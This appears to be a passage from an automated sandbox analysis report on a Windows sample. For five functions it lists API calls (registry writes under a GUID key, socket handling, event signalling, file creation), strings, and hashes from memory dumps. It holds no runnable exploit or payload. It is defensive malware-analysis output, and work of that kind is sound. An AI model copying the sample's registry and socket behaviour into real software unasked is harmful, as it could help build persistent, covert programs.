Function 00925090 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 55registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 009250B0
__snwprintf.LIBCMT ref: 009250CE
RegCreateKeyExW.ADVAPI32(80000001,?,00000000,00000000,00000000,000F013F,00000000,?,00000000), ref: 009250F5
RegSetValueExW.ADVAPI32(?,{487D59FC-B28A-4E0E-B2D6-0FAD7FD3C01B},00000000,00000003,?,00000B3C), ref: 00925115
RegCloseKey.ADVAPI32(?), ref: 00925123
RegCloseKey.ADVAPI32(?), ref: 00925134

Strings

SOFTWARE\%s, xrefs: 009250BD
{487D59FC-B28A-4E0E-B2D6-0FAD7FD3C01B}, xrefs: 009250B8, 0092510C

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Close$CreateValue__snwprintf_memset
String ID: SOFTWARE\%s${487D59FC-B28A-4E0E-B2D6-0FAD7FD3C01B}
API String ID: 749045061-1520914231
Opcode ID: 31149bfe2a27ba32b88aefc18b5256a4713a1c64d50acf73ec143e8140bb34ac
Instruction ID: 834e94c0d822ff003165864fcddca8f8c373aaa909233c29fdc3499b795ef9c6
Opcode Fuzzy Hash: 31149bfe2a27ba32b88aefc18b5256a4713a1c64d50acf73ec143e8140bb34ac
Instruction Fuzzy Hash: F4119B75754308B7E724D7B4DC4BFAA7378AB44B00F504548B708AA1C1E6B19B50E795

Function 00942030 Relevance: 13.8, APIs: 9, Instructions: 295networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00942450: CoInitialize.OLE32(00000000), ref: 00942466
Part of subcall function 00942450: CoCreateGuid.COMBASE(00942063), ref: 00942478
Part of subcall function 00942450: StringFromGUID2.COMBASE(00942063,?,00000027), ref: 00942490
Part of subcall function 00942450: LocalAlloc.KERNEL32(00000040,00000068), ref: 009424B8
Part of subcall function 00942450: und_memcpy.LIBCMTD ref: 00942505
Part of subcall function 00942450: LocalFree.KERNEL32(00000000), ref: 00942511
Part of subcall function 00942450: CoUninitialize.COMBASE ref: 00942517

Part of subcall function 0093FFF0: socket.WS2_32(00000002,00000001,00000006), ref: 0093FFFF

setsockopt.WS2_32(00000000,0000FFFF,00000080,?,00000004), ref: 009420F0
LocalFree.KERNEL32(00000000), ref: 00942428

Part of subcall function 00940950: WSACreateEvent.WS2_32 ref: 009409B0

Part of subcall function 00942530: LocalAlloc.KERNEL32(00000040,00000318), ref: 00942540
Part of subcall function 00942530: LocalFree.KERNEL32(00000000), ref: 0094256B

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 009423B3
WSAEventSelect.WS2_32(00000000,00000000,00000020), ref: 009423D8
und_memcpy.LIBCMTD ref: 009423F7
CloseHandle.KERNEL32(00000000), ref: 0094240E
LocalFree.KERNEL32(00000000), ref: 0094241B
shutdown.WS2_32(00000000,00000002), ref: 00942437
closesocket.WS2_32(00000000), ref: 00942444

Part of subcall function 00940CD0: ___crtGetLocaleInfoEx.LIBCMTD ref: 00940CED

Part of subcall function 00940950: ___crtGetLocaleInfoEx.LIBCMTD ref: 0094096D

Part of subcall function 00940CD0: WSACreateEvent.WS2_32 ref: 00940D30

Part of subcall function 009426F0: LocalAlloc.KERNEL32(00000040,00000280), ref: 00942700
Part of subcall function 009426F0: GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00942754
Part of subcall function 009426F0: LocalFree.KERNEL32(00000020), ref: 00942762

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Local$Free$CreateEvent$Alloc$InfoLocale___crtund_memcpy$CloseFileFromGuidHandleInitializeModuleNameSelectStringUninitializeclosesocketsetsockoptshutdownsocket
String ID:
API String ID: 4218705229-0
Opcode ID: a10341eb75d73903c22b09e78fa501019ff987fb4e730fe856b1af0971fda999
Instruction ID: 769b908c51ebfcf6753647a9482df85db3a93ecad90d198fb431fa281b87dd0f
Opcode Fuzzy Hash: a10341eb75d73903c22b09e78fa501019ff987fb4e730fe856b1af0971fda999
Instruction Fuzzy Hash: 97B1FCB5A00318AFEB24DB94CC85FEA7379EB88704F504599F608A7191E7716F84CF62

Function 00926AC0 Relevance: 13.8, APIs: 9, Instructions: 253memoryCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 00926B42
LocalAlloc.KERNEL32(00000040,?), ref: 00926C3D

Part of subcall function 00940950: WSACreateEvent.WS2_32 ref: 009409B0

LocalAlloc.KERNEL32(00000040,?), ref: 00926C9A
LocalFree.KERNEL32(00000000), ref: 00926DE6

Part of subcall function 00928A80: LocalFree.KERNEL32(00000000), ref: 00928AE0
Part of subcall function 00928A80: LocalFree.KERNEL32(00000000), ref: 00928AF0
Part of subcall function 00928A80: LocalAlloc.KERNEL32(00000040,00030010), ref: 00928B3B
Part of subcall function 00928A80: LocalAlloc.KERNEL32(00000040,00008AD0), ref: 00928B55
Part of subcall function 00928A80: _memmove.LIBCMT ref: 00928B76

Part of subcall function 009281C0: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,00928D2B,00936B10,00000000), ref: 009281EB
Part of subcall function 009281C0: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,00928D2B), ref: 00928205
Part of subcall function 009281C0: wnsprintfW.SHLWAPI ref: 00928235
Part of subcall function 009281C0: wnsprintfW.SHLWAPI ref: 00928251
Part of subcall function 009281C0: LocalFree.KERNEL32(00000000), ref: 00928A43

Part of subcall function 00929400: LocalAlloc.KERNEL32(00000040,00926D26,?,00926D8A,00000000,00000000,?), ref: 00929416
Part of subcall function 00929400: _memmove.LIBCMT ref: 00929435
Part of subcall function 00929400: StrStrIW.SHLWAPI(?,.DLL), ref: 00929511
Part of subcall function 00929400: CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000002,00000000,00000000), ref: 0092953C

LocalFree.KERNEL32(00000000), ref: 00926DAD
LocalFree.KERNEL32(00000000), ref: 00926DBA
LocalFree.KERNEL32(00000000), ref: 00926DFC
shutdown.WS2_32(?,00000002), ref: 00926E68
closesocket.WS2_32(?), ref: 00926E72

Part of subcall function 00940CD0: ___crtGetLocaleInfoEx.LIBCMTD ref: 00940CED

Part of subcall function 00940950: ___crtGetLocaleInfoEx.LIBCMTD ref: 0094096D

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Local$AllocFree$CreateInfoLocale___crt_memmovewnsprintf$EventFileclosesocketsetsockoptshutdown
String ID:
API String ID: 295459137-0
Opcode ID: cd2241778c2ac7b86355a7919f56b6dcffd3d606458e88ca3430a571518e4852
Instruction ID: f5a14cbdee8e9be53b9ead03b10e2d4c4865622c9325092f3d207e794c35123a
Opcode Fuzzy Hash: cd2241778c2ac7b86355a7919f56b6dcffd3d606458e88ca3430a571518e4852
Instruction Fuzzy Hash: 3EB11FB5E00228AFEB24DF94DC45FEEB778AF88304F108199E618A7285D7715E84CF61

Function 009369A0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 154networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00936A7A
__snwprintf.LIBCMT ref: 00936A9F
LocalFree.KERNEL32(00000000), ref: 00936AD9
WSAStartup.WS2_32(00000002,?), ref: 00936B73
WSACleanup.WS2_32 ref: 00936BCA

Strings

"%s%s", xrefs: 00936A8E
{5EED0EA3-A73E-442A-9D20-84320F1AFCBA}, xrefs: 00936ABE

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: CleanupFreeLocalStartup__snwprintf_memset
String ID: "%s%s"${5EED0EA3-A73E-442A-9D20-84320F1AFCBA}
API String ID: 2113284613-1931007831
Opcode ID: e3a1952d6d50211e84c4de1b03fca7cf5e6610636376fca60ebc67addf78e842
Instruction ID: 147df8fc6ffe2277467134946946857bd9158b84731afea291d8c5cf564359b4
Opcode Fuzzy Hash: e3a1952d6d50211e84c4de1b03fca7cf5e6610636376fca60ebc67addf78e842
Instruction Fuzzy Hash: D051F870BA9314BBFB34EB68DC97F553278A741B09F10845AF204BA1D0E6F16984DF16

Function 0092E020 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 0092E08F
OpenEventW.KERNEL32(00100002,00000000,{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}), ref: 0092E0CA
SetEvent.KERNEL32(00000000), ref: 0092E0DD
CloseHandle.KERNEL32(00000000), ref: 0092E0E7
shutdown.WS2_32(?,00000002), ref: 0092E0F3
closesocket.WS2_32(?), ref: 0092E0FD

Part of subcall function 0092B6D0: CreateDirectoryW.KERNEL32(00000000,00000000), ref: 0092B701
Part of subcall function 0092B6D0: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0092B724
Part of subcall function 0092B6D0: __snwprintf.LIBCMT ref: 0092B74E
Part of subcall function 0092B6D0: CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 0092B773
Part of subcall function 0092B6D0: GetLastError.KERNEL32 ref: 0092B77C
Part of subcall function 0092B6D0: LocalFree.KERNEL32(00000000), ref: 0092B7FC
Part of subcall function 0092B6D0: LocalFree.KERNEL32(00000000), ref: 0092B806

Strings

{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}, xrefs: 0092E0BE

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

